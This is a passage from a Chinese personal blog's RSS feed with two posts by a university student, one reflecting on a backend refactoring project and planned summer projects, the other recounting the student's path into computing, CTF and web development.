&lt;p&gt;在思考怎么设计架构的时候, 学习到很多设计理念. 从数据库用户和权限的表设计学习到 RBAC 等等的模型, 增删改查使用仓储模式的设计, 依赖注入等等的大一上的我从来没听过的名词, 现在却直接运用到实际工程里了.&lt;/p&gt;
&lt;p&gt;过了一年下来, 有一个明显的感悟, 学东西一定得莽一点, 不能怕自己干不成事情, 闷在书本后面才会干不成事情. 大学过了一年, 一直被push, 干成了不少自己以为自己完全做不到的事情. 这次的项目也是, 当初一看项目体量那么大, 很难想象一个什么正经后端项目都没写过的我, 最后能负责一整块的后端的重构设计和实际实现, 结果不知不觉的也做下来了, 似乎还做的不错.&lt;/p&gt;
&lt;p&gt;但是我还是认为我就是个半吊子水平. 我从来没有过Python的后端开发经验, 也没有使用过FastAPI写过什么代码. 仅有的后端经验是去年的字节Go后端青训营, 甚至连那个作品都是一个半成品. 一直使用框架写代码, 让我直到现在都并没有花费时间去深入熟悉一门语言.&lt;/p&gt;
&lt;p&gt;框架封装了很多繁琐枯燥的事情, 但也封装了对于技术细节的思考.&lt;/p&gt;
&lt;p&gt;虽然写了一学期的代码, 但到最后我并不了解什么数据结构, 不了解什么算法, 对多线程的使用和理解也十分生疏. 从来没有系统学习过如何去设计架构, 缺乏开源经验, 也不知道怎样才算是现代化的代码. 在设计整个软件架构时, 也经常怀疑自己是否引入了完全没有必要的设计模式, 增加了多余的没有必要的代码量, 最后直到实现到某一个单元时才发现过去的架构设计存在一点问题. 遇到的遗留问题太多了, 多到可以把它们单独放在一篇文章里.&lt;/p&gt;
&lt;p&gt;总之, 我时常惶恐我在浮沙筑高楼的路上越走越远. 我想象中, 如果有真正有经验的开发者看到我的代码, 一定会指出不少问题.&lt;/p&gt;
&lt;p&gt;此外, 我其实一直是想学习Web安全的, 但是现在看来似乎道走偏了&amp;hellip;&lt;/p&gt;
&lt;p&gt;如果暑假有闲心的话, 应该会花一点时间, 在博客上把自己之前在实践中学到的那些知识全都整理一下, 提炼一下, 放到博客里. 不过在那之前, 我大概得先加急给我博客添加一个评论功能, 否则我会很担心自己讲了些错误经验, 当作反面教材而没人能指出.&lt;/p&gt;
&lt;p&gt;如果暑假没有闲心的话, 大概是因为自己想填一些坑. 基本上有四个:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一个好用的记账软件, 并把它写成一个开发笔记, 当作科协小登的后端编程实战教程之一. 会尝试用自己从来没用过的语言, 框架, 技术, 把自己在没有相关经验的情况下, 从零开始去设计并实现一个完整的项目的经历写下来.&lt;/li&gt;
&lt;li&gt;一个可以把midi编曲文件编译打印成八音盒可用的打孔纸带的机器, 大概会接触单片机, arduino, CAD, 3d打印, 用什么步进电机丝杆滑台之类的.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/U1traVeno/LazyMCPanel" target="_blank" rel="noopener"
&gt;LazyMCPanel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Minecraft 1.12.2 技术生存的坑(其实就是因为这个坑导致我想做一个LazyMCPanel). 想自己实现点很酷的异步线程科技&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些坑大概是暑假根本填不完的. 不过只要愿意填, 总会填上的.&lt;/p&gt;</description></item><item><title>在一切之前</title><link>https://v3n0.com/post/2025/before-it-all/</link><pubDate>Tue, 21 Jan 2025 22:18:12 +0800</pubDate><guid>https://v3n0.com/post/2025/before-it-all/</guid><description>&lt;p&gt;已经度过了大学第一个学期。第一篇博客想讲讲网站建立之前的故事。&lt;/p&gt;
&lt;p&gt;我自认为算是同龄人中相对较早接触计算机技术的人了。很早就对折腾计算机有某种特别的热爱。记得初中自己在破笔记本上折腾linux，在实体机上安装了自己第一个linux发行版Linux Mint。不久被Arch的包管理器吸引，又尝试装Arch，因为笔记本网卡驱动问题，Archiso连不上网，没有成功。于是先装上了Manjaro，又换核成Arch。&lt;/p&gt;
&lt;p&gt;初中时，出于什么目的才去接触linux，我已经记不得了。也许是因为想让破笔记本多活几年，也可能只是觉得这样很酷很极客。&lt;/p&gt;
&lt;p&gt;自己也尝试过自学编程，因为想试试写MC模组。但在江苏的中学，很难有时间让自己系统地学写代码，自己乱摸索到最后也只是能记住语法。但对于各种现实开发中要用到的工具，软件工程的思维，怎样的代码才是好的，一概不知。&lt;/p&gt;
&lt;p&gt;高考结束。在南邮，南信工，南工程的电气工程之间选择了杭电。或许后面会想聊聊我的高考。&lt;/p&gt;
&lt;p&gt;高三时，我的一位好友&lt;a class="link" href="https://blog.simuoss.cn" target="_blank" rel="noopener"
&gt;&lt;strong&gt;司沐&lt;/strong&gt;&lt;/a&gt;和我说，我更适合上大学而不是高中。&lt;/p&gt;
&lt;p&gt;学习这个词，在中学高压的环境下，在我周围人的眼中，似乎对应着无穷无尽的刷题，语数英物化生。学习，只是为了应试，只是为了更高的分数。一切与应试无关的，那不叫学习，那叫不务正业。但我其实一直很清楚，我是热爱学习的。在我的理解里，学习这个词，必须和“为了应试而做出的练习”这个概念分离开。&lt;/p&gt;
&lt;p&gt;而我对大学学习的理解，是这四年中，我能有充分的机会，去学习自己所真正想要学习的知识，能真正落以实践的知识。&lt;/p&gt;
&lt;p&gt;高考后的暑假，通过&lt;a class="link" href="https://csdiy.wiki" target="_blank" rel="noopener"
&gt;&lt;strong&gt;CS自学指南&lt;/strong&gt;&lt;/a&gt;, 认识到CS61A这门课。这门课算是学完了一大半吧。刷完了视频，但还是有一些Homework和一个Project没做。但这算是我第一次系统的去学习计算机知识。同时因为在杭电贴吧群被人注意到准大一就已经在用Arch被拉到计科协。通过科协的朋友们接触到了不少的学习和实践的机会。关于科协，以后再聊吧。&lt;/p&gt;
&lt;p&gt;早就对黑客技术感兴趣(菜鸡也有当大黑客的梦)，又去玩了玩&lt;a class="link" href="https://vidar.club/" target="_blank" rel="noopener"
&gt;&lt;strong&gt;Vidar-Team&lt;/strong&gt;&lt;/a&gt;的Hgame-mini，后来过了Web提前批面试进了预备役。&lt;/p&gt;
&lt;p&gt;然而在这之后，我在CTF这方面就有点摆了。这样一道道题目的形式也许可能引起PTSD了。我害怕再落入为了比赛而刷CTF题，刷了题又只是为了比赛拿分的循环，像高考刷题一样的循环。&lt;/p&gt;
&lt;p&gt;做那些hgame-mini题目的时候，我就已经有一种迷茫感。我刚上手编程没多久，我甚至看到稍微长一点的代码都会有点怕，我连一个网站的后端的开发流程，项目结构都不理解，从未自己上手写过什么项目。要做出那些级别的CTF题目，我只需要看懂一点点的代码就够了。但是现实中呢？我想，实际开发的过程中，这种给新生的题目中的漏洞，可能很轻松就可以避免。我会好奇，真正的渗透测试是什么样的，这些基本的东西会怎样出现在实际环境，会用到什么自动化工具，那些前辈们又是怎么从看起来很庞大的某个网站或是什么软件中，在我这样一个小白眼里，大海捞针一样找到漏洞的。&lt;/p&gt;
&lt;p&gt;对于一个以比赛为主要活动的社团，可能这样是维持社团活跃的最好方案了，也就是老带新的去打比赛写题解。毕竟新生们冲着黑客技术，冲着CTF来的，总不能说，让Web新生先去学习个一个月后端开发之类的。那不现实。这对于一个社团而言可能是没法避免的。&lt;/p&gt;
&lt;p&gt;我并不是对于黑客技术失去了兴趣，也不是说通过CTF这样比赛的形式学习就是不对。只是对我自己而言，我有一点自己的节奏。也许我可能会想学习一年开发，大二时再重拾CTF。&lt;/p&gt;
&lt;p&gt;后面接触了字节青训营，尝试用hertz框架去合作写一个电商项目的后端，这里必须特别感谢&lt;a class="link" href="https://blog.aflybird.cn" target="_blank" rel="noopener"
&gt;&lt;strong&gt;爱飞的鸟&lt;/strong&gt;&lt;/a&gt;。我第一次体验到实际去从零开始构建一个项目的流程，第一次不再为复杂的项目结构和动辄几百上千行的代码感到害怕，第一次接触到比较先进的后端开发技术。虽然没能真的在一个月的时间内真的完成这个项目，但是实实在在的学到了不少。&lt;/p&gt;
&lt;p&gt;紧接着就是期末。期末之后我建立了这个博客。&lt;/p&gt;</description></item></channel></rss>